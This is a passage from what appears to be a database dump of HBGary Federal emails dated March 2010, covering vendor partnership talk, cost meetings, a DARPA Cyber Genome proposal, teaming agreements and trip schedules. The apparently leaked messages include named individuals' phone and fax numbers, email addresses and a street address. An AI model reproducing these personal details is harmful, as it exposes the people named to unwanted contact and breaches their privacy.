etc.\r\n\r\nThanks,\r\nAaron\r\n',10720,'aaron_hbgary_com/10720.html'),(4377,'2010-03-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002427.M468373P3547Q4377.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Re: damballa and fireeye','I get that, could be both are beneficial.  I have some reservations about Damballa, at least in some things they have published, but their naive statements doesn\'t necessarily reflect their technology.  Tracing back CnC to enumerate botnets though has a very limited audience, but maybe has a good hook into the TMC.\r\n\r\nLook at the article that discusses their thoughts on the google attack.  This in my mind is a very naive view in that they equate sophistication to advanced threat.  All governments, by nature, are slow, clumsy, technically behind.  They will use techniques that might not be cutting edge but they know are stable and will achieve their objective.  The article talks about how amateur the attacks were, yet they were/are successful.  That is all that matters.  It is what they are after, what is the intent that lends itself more to who they are rather than the mechanisms they use.  Intelligence inside the network to determine intent as quickly as possible and stop data loss, this may require external capabilities though that Damballa offers.\r\n\r\nhttp://www.forbes.com/2010/03/02/damballa-hackers-botnets-technology-security-google.html\r\n\r\nOn Mar 23, 2010, at 11:55 AM, Penny Leavy wrote:\r\n\r\n> I think Fidelis is good and I think Damballa is good.  I don\'t see why\r\n> we can\'t do both.  I think Damballa has more brand recognition than\r\n> Fidelis\r\n> \r\n> On Mon, Mar 22, 2010 at 6:15 PM, Aaron Barr  wrote:\r\n>> My 2 cents.  Our offering gets that much stronger if we make a smart\r\n>> partnership with a perimeter defense company.  What about Fidelis?  All\r\n>> three seem to have some of the same language.  All three have weaknesses and\r\n>> that is the client.  What if the client is a laptop that only communicates\r\n>> when its outside the corporate network.  What happens if the malware is\r\n>> getting its CnC through malvertisements from adwords?  I still strongly\r\n>> believe we need a perimeter partner, which one is the best would require\r\n>> some steady analysis.\r\n>> Aaron\r\n>> On Mar 22, 2010, at 8:23 PM, Penny Leavy-Hoglund wrote:\r\n>> \r\n>> \r\n>> Both have taken money to the tune of\r\n>> \r\n>> At round C which they both are, Damballa is $16.7M  in Venture and Fireeye\r\n>> is $34.5 Million WOW.  That is a huge amount, which means that there is no\r\n>> equity ownership in the companies for their employees.  We can keep growing\r\n>> if we sell and close accounts.  I actually think there is a partner play for\r\n>> Damballa and it’s on client side.  I met several people at RSA from here.\r\n>> Thoughts?\r\n>> Penny C. Leavy\r\n>> President\r\n>> HBGary, Inc\r\n>> \r\n>> \r\n>> NOTICE – Any tax information or written tax advice contained herein\r\n>> (including attachments) is not intended to be and cannot be used by any\r\n>> taxpayer for the purpose of avoiding tax penalties that may be imposed\r\n>> on the taxpayer.  (The foregoing legend has been affixed pursuant to U.S.\r\n>> Treasury regulations governing tax practice.)\r\n>> \r\n>> This message and any attached files may contain information that is\r\n>> confidential and/or subject of legal privilege intended only for use by the\r\n>> intended recipient. If you are not the intended recipient or the person\r\n>> responsible for   delivering the message to the intended recipient, be\r\n>> advised that you have received this message in error and that any\r\n>> dissemination, copying or use of this message or attachment is strictly\r\n>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n> \r\n> \r\n> \r\n> -- \r\n> Penny C. Leavy\r\n> HBGary, Inc.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',11934,'aaron_hbgary_com/11934.html'),(4378,'2010-03-23','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002427.M718763P3547Q4378.eml','\"John L. Cox, CPA\" <johncoxcpa@verizon.net>,\"John L. Cox, CPA\" <johncoxcpa@verizon.net>','Re: HBGary Federal Costs','Let\'s shoot for 1pm your time.  I\'ll send a meeting request so it will\r\nget onto our calendars.\r\n\r\nThanks,\r\nTed\r\n\r\n\r\n\r\nOn 3/23/10 10:19 AM, John L. Cox, CPA wrote:\r\n> Tomorrow would be better.  Anytime from 1-4pm tomorrow.\r\n> \r\n> John L. Cox, CPA\r\n> 12107 Faith Lane\r\n> Bowie, Maryland 20715\r\n> (240) 949-6022 Voice \r\n> (866) 750-1973 Fax\r\n>  \r\n> This message contains information that may be confidential and privileged.\r\n> Unless you are the addressee (or authorized to receive for the addressee),\r\n> you may not use, copy, print or disclose to anyone the message or any\r\n> information contained in the message. If you have received this e-mail in\r\n> error, please advise the sender by reply and delete the message. Thank you.\r\n> \r\n> -----Original Message-----\r\n> From: Ted Vera [mailto:ted@hbgary.com] \r\n> Sent: Tuesday, March 23, 2010 12:17 PM\r\n> To: John Cox\r\n> Cc: \'Aaron Barr\'\r\n> Subject: HBGary Federal Costs\r\n> \r\n> Hi John,\r\n> \r\n> Do you have some time today or tomorrow to refine our costs and set our\r\n> overhead & G&A rates?\r\n> \r\n> I am open today at 11am (1pm your time).  Or anytime tomorrow before 4pm\r\n> your time.\r\n> \r\n> Thanks,\r\n> Ted\r\n> \r\n\r\n',919,'aaron_hbgary_com/919.html'),(4379,'2010-03-23','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002427.M909528P3547Q4379.eml','\"Aaron Barr\" <aaron@hbgary.com>,johncoxcpa@verizon.net','Invitation: HBGary Federal Costs @ Wed Mar 24 1pm - 2pm 	(aaron@hbgary.com)',' more details &raquo;HBGary Federal CostsRefine HBGary Federal Cost Estimates to establish overhead &amp; G&amp;A rates.WhenWed Mar 24 1pm – 2pm Eastern TimeWhereTelephonic:  719-237-8623 (map)Calendaraaron@hbgary.comWho&#x2022;Ted Vera - organizer&#x2022;Aaron Barr&#x2022;johncoxcpa@verizon.netGoing?&nbsp;&nbsp;&nbsp;Yes - Maybe - No&nbsp;&nbsp;&nbsp;&nbsp;more options &raquo;Invitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for invitations on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',11893,'aaron_hbgary_com/11893.html'),(4380,'2010-03-23','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297002428.M290307P3547Q4381.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Graphic','I will check status.\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, March 23, 2010 1:11 PM\r\nTo: Starr, Christopher H.\r\nSubject: Graphic\r\n\r\nHi Chris,\r\n\r\nOne other question.  Do you know if the graphic I had sent to you is\r\nbeing worked?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',4234,'aaron_hbgary_com/4234.html'),(4381,'2010-03-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002428.M92741P3547Q4380.eml','\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>','Graphic','Hi Chris,\r\n\r\nOne other question.  Do you know if the graphic I had sent to you is being worked?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',1748,'aaron_hbgary_com/1748.html'),(4382,'2010-03-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002434.M931813P3547Q4382.eml','\"Penny Leavy\" <penny@hbgary.com>','Proposal Draft','\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',9492,'aaron_hbgary_com/9492.html'),(4383,'2010-03-23','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297002435.M253422P3547Q4383.eml','\"Aaron Barr\" <aaron@hbgary.com>','Cyber Genome question','\r\n\r\n\r\n\r\n\r\nCyber Genome question\r\n\r\n\r\n\r\n\r\nDid you ask this question:\r\n\r\n\r\n\r\n29.&nbsp; Would a proposal, whose goal was to provide a threat intelligence infrastructure to be used by the Cyber Genome community (other teams) and cyber defender community at large be considered responsive?&nbsp; \r\n\r\nAnswer:&nbsp; The proposal must address a revolutionary capability that meets the vision of the Cyber Genome Program.\r\n\r\n\r\n\r\n\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n',8236,'aaron_hbgary_com/8236.html'),(4384,'2010-03-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002435.M472893P3547Q4384.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Cyber Genome question','No I thought that was u.I did ask him that during our 15min. interview and got the same answer but with a little more detail in that he didn\'t think the idea was revolutionary but more evolutionary.On Mar 23, 2010, at 2:08 PM, Masterson, Brian (Xetron) wrote:\r\n\r\nDid you ask this question:29.&nbsp; Would a proposal, whose goal was to provide a threat intelligence infrastructure to be used by the Cyber Genome community (other teams) and cyber defender community at large be considered responsive?&nbsp; Answer:&nbsp; The proposal must address a revolutionary capability that meets the vision of the Cyber Genome Program.Brian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',3912,'aaron_hbgary_com/3912.html'),(4385,'2010-03-23','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297002435.M703447P3547Q4385.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Cyber Genome question','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nSo who did?\r\n\r\nAlmost done with this darn thing.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, March 23, 2010 2:30 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Cyber Genome question\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nNo I thought that was u.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI did ask him that during our 15min. interview and got the\r\nsame answer but with a little more detail in that he didn\'t think the idea was\r\nrevolutionary but more evolutionary.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 23, 2010, at 2:08 PM, Masterson, Brian (Xetron)\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDid you ask this question:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n29.&nbsp; Would a proposal,\r\nwhose goal was to provide a threat intelligence infrastructure to be used by\r\nthe Cyber Genome community (other teams) and cyber defender community at large\r\nbe considered responsive?&nbsp; \r\n\r\nAnswer:&nbsp; The proposal must\r\naddress a revolutionary capability that meets the vision of the Cyber Genome\r\nProgram.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian\r\nMasterson\r\nNorthrop\r\nGrumman/Xetron\r\nChief\r\nTechnology Officer, IO Programs\r\nPh:\r\n513-881-3591\r\nCell:\r\n513-706-4848\r\nFax:\r\n513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',583,'aaron_hbgary_com/583.html'),(4386,'2010-03-23','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002437.M528341P3547Q4386.eml','\"Barr Aaron\" <aaron@hbgary.com>','Master SOW','This is what I have so far.\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',9240,'aaron_hbgary_com/9240.html'),(4387,'2010-03-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002437.M841365P3547Q4387.eml','\"Ted Vera\" <ted@hbgary.com>','','http://cgi.ebay.com/112-000-WYNDHAM-POINTS-BAY-CLUB-OF-SANDESTIN-FL_W0QQitemZ130368688300QQcmdZViewItemQQptZTimeshares?hash=item1e5a9450ac#ht_2888wt_1116\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',11203,'aaron_hbgary_com/11203.html'),(4388,'2010-03-23','\"Kathryn Tracy\" <kathryn.tracy@sri.com>','/aaron@hbgary.com/new/1297002438.M159404P3547Q4388.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','Re: RFP','\r\n\r\n\r\n  \r\n\r\n\r\nHello Aaron and Ted,\r\n\r\nDo you happen to have an updated spreadsheet for SRI that contains the\r\nnew start date\r\nof July?  The one I have has June as the start date.  Do you want me to\r\nmod this version,\r\nor do you have a revised version?  We are working to get our numbers to\r\nyou asap.\r\n\r\nBest,\r\nkat\r\n\r\nOn 3/21/2010 1:44 PM, Aaron Barr wrote:\r\nsure sorry.  I was confused by the term SOW vs. RFP and\r\nthought we provide the information.  Let me see if I can clarify.\r\n  \r\n  \r\n  That is correct, currently SRI is only involved in Task 1.\r\n  \r\n  \r\n  The trips are located at the end of the RFP.  So based on the\r\nfollowing table assume 2 engineers (your lead and 1 other) for the\r\ndates listed to the following meetings.\r\n  \r\n  \r\n  Aaron\r\n  \r\n  \r\n  \r\n  \r\n    \r\n      \r\n        \r\n        Purpose\r\n        \r\n        \r\n        Location\r\n        \r\n        \r\n        Dates\r\n        \r\n        \r\n        Personnel\r\n        \r\n      \r\n      \r\n        \r\n        Team Kickoff Meeting\r\n        \r\n        \r\n        Washington DC\r\n        \r\n        \r\n        14-15 Jul 2010\r\n        \r\n        \r\n        2 engineers\r\n        \r\n      \r\n      \r\n        \r\n        DARPA Kickoff Workshop\r\n        \r\n        \r\n        Washington, DC\r\n        \r\n        \r\n        29-30 Jul 2010\r\n        \r\n        \r\n        2 engineers\r\n        \r\n      \r\n      \r\n        \r\n        Period 1A Technical Interchange and\r\nQuarterly Team Meeting\r\n        \r\n        \r\n        Sacramento, CA\r\n        \r\n        \r\n        18-20 Oct 2010\r\n        \r\n        \r\n        2 engineers\r\n        \r\n      \r\n      \r\n        \r\n        San Antonio, TX\r\n        \r\n        \r\n        10-12 Jan 2011\r\n        \r\n        \r\n        2 engineers\r\n        \r\n      \r\n      \r\n        \r\n        Northport, NY\r\n        \r\n        \r\n        28-30 Mar 2011\r\n        \r\n        \r\n        2 engineers\r\n        \r\n      \r\n      \r\n        \r\n        Annapolis Junction, MD\r\n        \r\n        \r\n        27-28 Apr 2011\r\n        \r\n        \r\n        2 engineers\r\n        \r\n      \r\n      \r\n        \r\n        Period 1B Technical Interchange and\r\nQuarterly Team Meeting\r\n        \r\n        \r\n        San Antonio, TX\r\n        \r\n        \r\n        19-22 Sep 2011\r\n        \r\n        \r\n        2 engineers\r\n        \r\n      \r\n      \r\n        \r\n        Northport, NY\r\n        \r\n        \r\n        19-22 Dec 2011\r\n        \r\n        \r\n        2 engineers\r\n        \r\n      \r\n      \r\n        \r\n        Annapolis Junction, MD\r\n        \r\n        \r\n        12-15 Mar 2012\r\n        \r\n        \r\n        2 engineers\r\n        \r\n      \r\n      \r\n        \r\n        Sacramento, CA\r\n        \r\n        \r\n        7-8 May 2012\r\n        \r\n        \r\n        2 engineers\r\n        \r\n      \r\n      \r\n        \r\n        Period 2A Technical Interchange and\r\nQuarterly Team Meeting\r\n        \r\n        \r\n        Northport, NY\r\n        \r\n        \r\n        24-27 Sep 2012\r\n        \r\n        \r\n        2 engineers\r\n        \r\n      \r\n      \r\n        \r\n        Annapolis Junction, MD\r\n        \r\n        \r\n        18-21 Dec 2012\r\n        \r\n        \r\n        2 engineers\r\n        \r\n      \r\n      \r\n        \r\n        Sacramento, CA\r\n        \r\n        \r\n        11-13 Mar 2013\r\n        \r\n        \r\n        2 engineers\r\n        \r\n      \r\n      \r\n        \r\n        San Antonio, TX\r\n        \r\n        \r\n        2-3 May 2013\r\n        \r\n        \r\n        2 engineers\r\n        \r\n      \r\n      \r\n        \r\n        Period 2B Technical Interchange and\r\nQuarterly Team Meeting\r\n        \r\n        \r\n        Annapolis Junction, MD\r\n        \r\n        \r\n        23-26 Sep 2013\r\n        \r\n        \r\n        2 engineers\r\n        \r\n      \r\n      \r\n        \r\n        Sacramento, CA\r\n        \r\n        \r\n        17-20 Dec 2013\r\n        \r\n        \r\n        2 engineers\r\n        \r\n      \r\n      \r\n        \r\n        San Antonio, TX\r\n        \r\n        \r\n        10-12 Mar 2014\r\n        \r\n        \r\n        2 engineers\r\n        \r\n      \r\n      \r\n        \r\n        Northport, NY\r\n        \r\n        \r\n        30 Apr – 1 May 2014\r\n        \r\n        \r\n        2 engineers\r\n        \r\n      \r\n      \r\n        \r\n        DARPA Annual Review Meeting\r\n        \r\n        \r\n        Washington, DC\r\n        \r\n        \r\n        17-30 Mar  2011\r\n        \r\n        \r\n        2 engineers\r\n        \r\n      \r\n      \r\n        \r\n        Washington, DC\r\n        \r\n        \r\n        7-8 May 2012\r\n        \r\n        \r\n        2 engineers\r\n        \r\n      \r\n      \r\n        \r\n        Washington, DC\r\n        \r\n        \r\n        6-7 May 2013\r\n        \r\n        \r\n        2 engineers\r\n        \r\n      \r\n      \r\n        \r\n        Washington, DC\r\n        \r\n        \r\n        5-6 May 2014\r\n        \r\n        \r\n        2 engineers\r\n        \r\n      \r\n      \r\n        \r\n        DARPA IV&amp;V\r\n        \r\n        \r\n        Washington, DC\r\n        \r\n        \r\n        24-27 May 2011\r\n        \r\n        \r\n        2 engineers\r\n        \r\n      \r\n      \r\n        \r\n        Washington, DC\r\n        \r\n        \r\n        27-30 May 2014\r\n        \r\n        \r\n        2 engineers\r\n        \r\n      \r\n    \r\n  \r\n  \r\n  On Mar 21, 2010, at 4:25 PM, Kathryn Tracy wrote:\r\n  \r\n  \r\n    Hi Aaron,\r\n    \r\nThank you for your response yesterday.\r\nYou sent me the same RFP that I already have and did not answer my\r\nquestions below.  I\'m sorry if I appear to be nagging\r\nyou, but I simply can not finish the pricing until I have answers.  We\r\nare running out of time and I\'m worried about my ability \r\nto be able to get you a complete proposal package plus the government\r\npackage in time.  Could someone please answer\r\nmy questions or could you please forward my email to someone who can?\r\nThank you.\r\n    \r\nBest regards,\r\nkat\r\n    \r\nOn 3/20/2010 7:08 PM, Aaron Barr wrote:\r\n    Hi\r\nKaren,\r\n      \r\n      \r\n      I had sent the RFP to Phil, sorry.  Attached is the RFP I\r\nhad\r\nsent to him.  Please let me know if this clears up your questions.\r\n      \r\n      \r\n      Aaron\r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      On Mar 20, 2010, at 5:27 PM, Kathryn Tracy wrote:\r\n      \r\n      \r\n        Dear Aaron,\r\n        \r\nI am working with Phil and SRIs Contracts Admin. Colleen Ferguson, to\r\npull together SRIs cost proposal so we can submit it asap.\r\nI have the version of the SOW that was attached to your email below,\r\nhowever I still have some questions.\r\n        \r\nThe SOW that was attached to this email did not list SRI in the the\r\ncorrect tasks in the WBS.\r\nCan I assume SRI is only involved in Task 1?  Also, Phil gave me the\r\ntravel details below however\r\nthey do not match the travel in the SOW.  Could you please let me know\r\nwhich is correct and if\r\nPhil\'s list below is the correct version, could you please let me know\r\nwhat month the trips\r\nwill occur so that I can correctly spread our costs by month.\r\n        \r\n        Travel: WHAT MONTHS?\r\n       2010: \r\n        3 Trips x 2 people to WDC \r\n       2011: \r\n        7 Trips x 2 people to WDC \r\n       2012: \r\n        5 Trips x 2 people to WDC \r\n       2013: \r\n        3 Trips x 2 people to WDC \r\n        \r\nThanks very much,\r\n        Best,\r\nkat\r\n        \r\nOn 3/19/2010 7:26 PM, Phil Porras wrote:\r\n        \r\n          X-AuditID:\r\n80125573-b7b3eae000005555-bb-4ba1bea80922 \r\nX-Spam-Status: No, score=0.0 threshold=8.0 \r\nX-Spam-Level: \r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\n            \r\nSubject: RFP \r\nDate: Thu, 18 Mar 2010 01:48:18 -0400 \r\nTo: Phil Porras &lt;porras@csl.sri.com&gt;, vinod@csl.sri.com \r\nX-Mailer: Apple Mail (2.1077) \r\nX-Brightmail-Tracker: AAAAAhNWaw4TVm8z \r\n            \r\nGuys, \r\n            \r\nAttached is the second draft with updated travel and WBS sections.  The\r\nnumbers don\'t exactly match yet, but they will tomorrow and we will get\r\nout a final to you but I wanted to get this out to you first for\r\npricing purposes. \r\n            \r\nThanks \r\nAaron Barr \r\nCEO \r\nHBGary Federal Inc. \r\n            \r\n            \r\n          \r\n        \r\n        \r\n      \r\n      \r\n      \r\n      \r\n      Aaron Barr\r\n      CEO\r\n      HBGary Federal Inc.\r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n    \r\n    \r\n  \r\n  \r\n  \r\n  \r\n  Aaron Barr\r\n  CEO\r\n  HBGary Federal Inc.\r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n\r\n\r\n\r\n',16126,'aaron_hbgary_com/16126.html'),(4389,'2010-03-23','\"Ebbe Reker\" <Ebbe@avi.com>','/aaron@hbgary.com/new/1297002452.M822096P3547Q4389.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','Teaming Agreement','Attached is a signed teaming agreement.\r\n\r\nI added missing info.\r\n\r\nTwo paragraphs were changed:\r\n1.5 Bolded text was added\r\n2.6 Deleted, since we are involved in other aspects of the Program\r\n(Cyber Genome)\r\n\r\nPlease countersign and return.  Thanks.\r\n\r\n- - - - - - - - - - - - - - - - - - \r\nEbbe Reker, Vice President & CFO \r\nApplied Visions, Inc. \r\n6 Bayview Avenue \r\nNorthport, NY 11768 \r\nSwitchboard: 631-754-4920\r\nDirect:631-759-3905 \r\nFax: 631-754-1721 \r\nhttp://www.avi.com \r\n- - - - - - - - - - - - - - - - - - \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, March 23, 2010 12:10 AM\r\nTo: Greg Hoglund; Bob Slapnik; Ted Vera; Christopher H. Starr; Jason R.\r\nUpchurch; Irby Thompson; Adam Fraser; Anita D\'Amico; Ebbe Reker; Phil\r\nPorras; vinod@csl.sri.com\r\nSubject: TA3 Proposal\r\n\r\nAll,\r\n\r\nPlease review the TA3 proposal for content.  Pay close attention to the\r\nfollowing tables first and add content as needed:\r\n1. Innovative Claims\r\n2. Deliverables\r\n3. Intellectual Property\r\n4. Organizational Chart\r\n5. Previous Accomplishments\r\n6. Description of Facilities\r\n\r\nThen review the document overall for content.  The majority of the\r\ndocument is ready for pink team review with the exception of III.C,\r\nIII.D, III.E.  I am working on those now.\r\n\r\nAll Cost, Schedule and Milestones data (includes SOW and BOEs) Ted is\r\nworking on right now.\r\n\r\nI need your sealed envelops Thursday.\r\n\r\n',6490,'aaron_hbgary_com/6490.html'),(4390,'2010-03-23','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002453.M617650P3547Q4390.eml','\"Kathryn Tracy\" <kathryn.tracy@sri.com>,\"Kathryn Tracy\" <kathryn.tracy@sri.com>,','Re: RFP','Please mod it to reflect July 10th start date.  If you have any problems\r\ndoing so, please let me know and we\'ll send you a new spreadsheet.\r\n\r\nTed\r\n\r\nOn 3/23/10 1:12 PM, Kathryn Tracy wrote:\r\n> Hello Aaron and Ted,\r\n> \r\n> Do you happen to have an updated spreadsheet for SRI that contains the\r\n> new start date\r\n> of July?  The one I have has June as the start date.  Do you want me to\r\n> mod this version,\r\n> or do you have a revised version?  We are working to get our numbers to\r\n> you asap.\r\n> \r\n> Best,\r\n> kat\r\n> \r\n> On 3/21/2010 1:44 PM, Aaron Barr wrote:\r\n>> sure sorry.  I was confused by the term SOW vs. RFP and thought we\r\n>> provide the information.  Let me see if I can clarify.\r\n>>\r\n>> That is correct, currently SRI is only involved in Task 1.\r\n>>\r\n>> The trips are located at the end of the RFP.  So based on the\r\n>> following table assume 2 engineers (your lead and 1 other) for the\r\n>> dates listed to the following meetings.\r\n>>\r\n>> Aaron\r\n>>\r\n>> *Purpose*\r\n>>     \r\n>> *Location*\r\n>>     \r\n>> *Dates*\r\n>>     \r\n>> *Personnel*\r\n>> *Team Kickoff Meeting*\r\n>>     \r\n>> Washington DC\r\n>>     \r\n>> 14-15 Jul 2010\r\n>>     \r\n>> 2 engineers\r\n>> *DARPA Kickoff Workshop*\r\n>>     \r\n>> Washington, DC\r\n>>     \r\n>> 29-30 Jul 2010\r\n>>     \r\n>> 2 engineers\r\n>> *Period 1A Technical Interchange and Quarterly Team Meeting*\r\n>>     \r\n>> Sacramento, CA\r\n>>     \r\n>> 18-20 Oct 2010\r\n>>     \r\n>> 2 engineers\r\n>> San Antonio, TX\r\n>>     \r\n>> 10-12 Jan 2011\r\n>>     \r\n>> 2 engineers\r\n>> Northport, NY\r\n>>     \r\n>> 28-30 Mar 2011\r\n>>     \r\n>> 2 engineers\r\n>> Annapolis Junction, MD\r\n>>     \r\n>> 27-28 Apr 2011\r\n>>     \r\n>> 2 engineers\r\n>> *Period 1B Technical Interchange and Quarterly Team Meeting*\r\n>>     \r\n>> San Antonio, TX\r\n>>     \r\n>> 19-22 Sep 2011\r\n>>     \r\n>> 2 engineers\r\n>> Northport, NY\r\n>>     \r\n>> 19-22 Dec 2011\r\n>>     \r\n>> 2 engineers\r\n>> Annapolis Junction, MD\r\n>>     \r\n>> 12-15 Mar 2012\r\n>>     \r\n>> 2 engineers\r\n>> Sacramento, CA\r\n>>     \r\n>> 7-8 May 2012\r\n>>     \r\n>> 2 engineers\r\n>> *Period 2A Technical Interchange and Quarterly Team Meeting*\r\n>>     \r\n>> Northport, NY\r\n>>     \r\n>> 24-27 Sep 2012\r\n>>     \r\n>> 2 engineers\r\n>> Annapolis Junction, MD\r\n>>     \r\n>> 18-21 Dec 2012\r\n>>     \r\n>> 2 engineers\r\n>> Sacramento, CA\r\n>>     \r\n>> 11-13 Mar 2013\r\n>>     \r\n>> 2 engineers\r\n>> San Antonio, TX\r\n>>     \r\n>> 2-3 May 2013\r\n>>     \r\n>> 2 engineers\r\n>> *Period 2B Technical Interchange and Quarterly Team Meeting*\r\n>>     \r\n>> Annapolis Junction, MD\r\n>>     \r\n>> 23-26 Sep 2013\r\n>>     \r\n>> 2 engineers\r\n>> Sacramento, CA\r\n>>     \r\n>> 17-20 Dec 2013\r\n>>     \r\n>> 2 engineers\r\n>> San Antonio, TX\r\n>>     \r\n>> 10-12 Mar 2014\r\n>>     \r\n>> 2 engineers\r\n>> Northport, NY\r\n>>     \r\n>> 30 Apr – 1 May 2014\r\n>>     \r\n>> 2 engineers\r\n>> *DARPA Annual Review Meeting*\r\n>>     \r\n>> Washington, DC\r\n>>     \r\n>> 17-30 Mar  2011\r\n>>     \r\n>> 2 engineers\r\n>> Washington, DC\r\n>>     \r\n>> 7-8 May 2012\r\n>>     \r\n>> 2 engineers\r\n>> Washington, DC\r\n>>     \r\n>> 6-7 May 2013\r\n>>     \r\n>> 2 engineers\r\n>> Washington, DC\r\n>>     \r\n>> 5-6 May 2014\r\n>>     \r\n>> 2 engineers\r\n>> *DARPA IV&V*\r\n>>     \r\n>> Washington, DC\r\n>>     \r\n>> 24-27 May 2011\r\n>>     \r\n>> 2 engineers\r\n>> Washington, DC\r\n>>     \r\n>> 27-30 May 2014\r\n>>     \r\n>> 2 engineers\r\n>>\r\n>> On Mar 21, 2010, at 4:25 PM, Kathryn Tracy wrote:\r\n>>\r\n>>> Hi Aaron,\r\n>>>\r\n>>> Thank you for your response yesterday.\r\n>>> You sent me the same RFP that I already have and did not answer my\r\n>>> questions below.  I\'m sorry if I appear to be nagging\r\n>>> you, but I simply can not finish the pricing until I have answers. \r\n>>> We are running out of time and I\'m worried about my ability\r\n>>> to be able to get you a complete proposal package plus the government\r\n>>> package in time.  Could someone please answer\r\n>>> my questions or could you please forward my email to someone who can?\r\n>>> Thank you.\r\n>>>\r\n>>> Best regards,\r\n>>> kat\r\n>>>\r\n>>> On 3/20/2010 7:08 PM, Aaron Barr wrote:\r\n>>>> Hi Karen,\r\n>>>>\r\n>>>> I had sent the RFP to Phil, sorry.  Attached is the RFP I had sent\r\n>>>> to him.  Please let me know if this clears up your questions.\r\n>>>>\r\n>>>> Aaron\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>> On Mar 20, 2010, at 5:27 PM, Kathryn Tracy wrote:\r\n>>>>\r\n>>>>> Dear Aaron,\r\n>>>>>\r\n>>>>> I am working with Phil and SRIs Contracts Admin. Colleen Ferguson,\r\n>>>>> to pull together SRIs cost proposal so we can submit it asap.\r\n>>>>> I have the version of the SOW that was attached to your email\r\n>>>>> below, however I still have some questions.\r\n>>>>>\r\n>>>>> The SOW that was attached to this email did not list SRI in the 